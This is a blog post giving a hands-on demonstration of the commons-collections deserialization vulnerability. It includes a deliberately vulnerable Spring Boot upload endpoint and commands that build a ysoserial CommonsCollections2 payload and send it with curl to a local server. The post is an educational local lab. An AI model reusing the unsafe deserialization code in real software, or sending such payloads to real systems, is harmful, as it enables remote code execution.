Apache commons-collections vulnerability – try it at home

The commons-collections certainly belong to the most popular java libraries out there and are used by many projects and people, including me. In my opinion it is beautiful library, has a nice API, fantastic test coverage etc. In many situations can save you from writing boilerplate code. In short, it’s simply too convenient not to use it.

A security vulnerability that was known for some months was now turned into concrete exploits, attacking widespread enterprise applications, see this blog post and references therein. The mechanics of the attack are pretty well explained there.

TL;DR: deserialization and reflection = (almost) arbitrary code execution

I created a simple spring-boot application that is vulnerable:

/* (C) 2015 Gooby. All rights reserved. */
package plz.gooby;

import org.apache.commons.collections4.map.LazyMap;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.boot.builder.SpringApplicationBuilder;
import org.springframework.http.MediaType;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.multipart.MultipartFile;

import java.io.IOException;
import java.io.InputStream;
import java.io.ObjectInputStream;
import java.util.Date;

/**
 * Them vulnerable web server.
 */
@SpringBootApplication
@RestController
public class Application {

    public static void main(String[] args) 
                       throws ClassNotFoundException {
        Class<LazyMap> lazyMapClass = LazyMap.class;
        new SpringApplicationBuilder(Application.class)
            .run(args);
    }

    @RequestMapping(value = "/",
        method = RequestMethod.POST, 
        consumes = MediaType.MULTIPART_FORM_DATA_VALUE)
    public void upload(
        @RequestParam("file") MultipartFile file)
            throws IOException, ClassNotFoundException {
        try (
            InputStream inputStream 
                = file.getInputStream();
            ObjectInputStream objectInputStream 
                = new ObjectInputStream(inputStream)
        ) {
            Date date
               = (Date) objectInputStream.readObject();
        }
    }
}

It will just accept a file upload and try to deserialize the stream right into a Date object.

How to exploit, you ask?

I will defer my readers to the aforementioned blog post to explore the details, let’s get practical. There is a project that can prepare a funny serialized payload for us: yoserial

git clone https://github.com/frohoff/ysoserial.git
cd ysoserial
mvn clean package jar:jar
cd target
java -jar ysoserial-0.0.2-SNAPSHOT-all.jar CommonsCollections2 'xterm' > /home/gooby/payload.bin

Now, here for some action: run the spring-boot app and hit

curl -i -F name=file -F file=@/home/gooby/payload.bin http://127.0.0.1:8080/

If you see a terminal pop up, you know the exploit worked.

That’s it, watch the Jira issue COLLECTIONS-580 to see what is done about it.

Advertisements

About goobypl5

pizza baker, autodidact, particle physicist
This entry was posted in Programming, Security, Security/Encryption and tagged , , , . Bookmark the permalink.

2 Responses to Apache commons-collections vulnerability – try it at home

  1. mudongliang says:

    I have little knowledge about spring framework, can you guide to construct the vulnerable server application?

Share your thoughts

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s